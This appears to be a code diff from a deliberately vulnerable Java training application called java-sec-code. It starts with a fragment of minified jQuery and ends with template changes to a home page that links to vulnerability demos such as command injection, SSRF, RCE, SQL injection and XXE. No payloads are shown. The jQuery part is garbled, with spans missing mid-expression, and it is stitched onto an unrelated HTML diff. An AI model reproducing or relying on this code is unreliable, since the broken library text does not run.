if(r=s.call(arguments),Q.set(this,i,r),t=o(this,i),this[i](),r!==(n=Q.get(this,i))||t?Q.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n.value}else r.length&&(Q.set(this,i,{value:k.event.trigger(k.extend(r[0],k.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Q.get(e,i)&&k.event.add(e,i,ke)}k.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.get(t);if(v){n.handler&&(n=(o=n).handler,i=o.selector),i&&k.find.matchesSelector(ie,i),n.guid||(n.guid=k.guid++),(u=v.events)||(u=v.events={}),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof k&&k.event.triggered!==e.type?k.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(R)||[""]).length;while(l--)d=g=(s=Ee.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=k.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=k.event.special[d]||{},c=k.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&k.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),k.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.hasData(e)&&Q.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(R)||[""]).length;while(l--)if(d=g=(s=Ee.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=k.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||k.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)k.event.remove(e,d+t[l],n,r,!0);k.isEmptyObject(u)&&Q.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=k.event.fix(e),u=new Array(arguments.length),l=(Q.get(this,"events")||{})[s.type]||[],c=k.event.special[s.type]||{};for(u[0]=s,t=1;t\x20\t\r\n\f]*)[^>]*)\/>/gi,qe=/\s*$/g;function Oe(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&k(e).children("tbody")[0]||e}function Pe(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Re(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Me(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(Q.hasData(e)&&(o=Q.access(e),a=Q.set(t,o),l=o.events))for(i in delete a.handle,a.events={},l)for(n=0,r=l[i].length;n")},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=oe(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||k.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Vt,Gt=[],Yt=/(=)\?(?=&|$)|\?\?/;k.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Gt.pop()||k.expando+"_"+kt++;return this[e]=!0,e}}),k.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Yt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Yt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Yt,"$1"+r):!1!==e.jsonp&&(e.url+=(St.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||k.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?k(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Gt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((Vt=E.implementation.createHTMLDocument("").body).innerHTML="
",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=D.exec(e))?[t.createElement(i[1])]:(i=we([e],t,o),o&&o.length&&k(o).remove(),k.merge([],i.childNodes)));var r,i,o},k.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(k.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},k.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){k.fn[t]=function(e){return this.on(t,e)}}),k.expr.pseudos.animated=function(t){return k.grep(k.timers,function(e){return t===e.elem}).length},k.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=k.css(e,"position"),c=k(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=k.css(e,"top"),u=k.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,k.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},k.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){k.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===k.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===k.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=k(e).offset()).top+=k.css(e,"borderTopWidth",!0),i.left+=k.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-k.css(r,"marginTop",!0),left:t.left-i.left-k.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===k.css(e,"position"))e=e.offsetParent;return e||ie})}}),k.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;k.fn[t]=function(e){return _(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),k.each(["top","left"],function(e,n){k.cssHooks[n]=ze(y.pixelPosition,function(e,t){if(t)return t=_e(e,n),$e.test(t)?k(e).position()[n]+"px":t})}),k.each({Height:"height",Width:"width"},function(a,s){k.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){k.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return _(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?k.css(e,t,i):k.style(e,t,n,i)},s,n?e:void 0,n)}})}),k.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){k.fn[n]=function(e,t){return 0Home Page -

Hello .

-

Welcome to login java-sec-code application. Application Infomation

-

- Swagger   - CmdInject   - JSONP   - Picture Upload   - File Upload   - Cors   - PathTraversal   - SqlInject   - SSRF   - RCE   - ooxml XXE   - xlsx-streamer XXE - actuator env -

- -

- JWTCreateToken - GetUserFromJWTToken -

-

...

-logout +

Hello .

+

Welcome to login java-sec-code application. Application Infomation

+

+ Swagger   + CmdInject   + JSONP   + Picture Upload   + File Upload   + Cors   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE +

+

...

+ logout - + \ No newline at end of file diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index d5c4ccd5..8d2cdedf 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -8,7 +8,7 @@ - +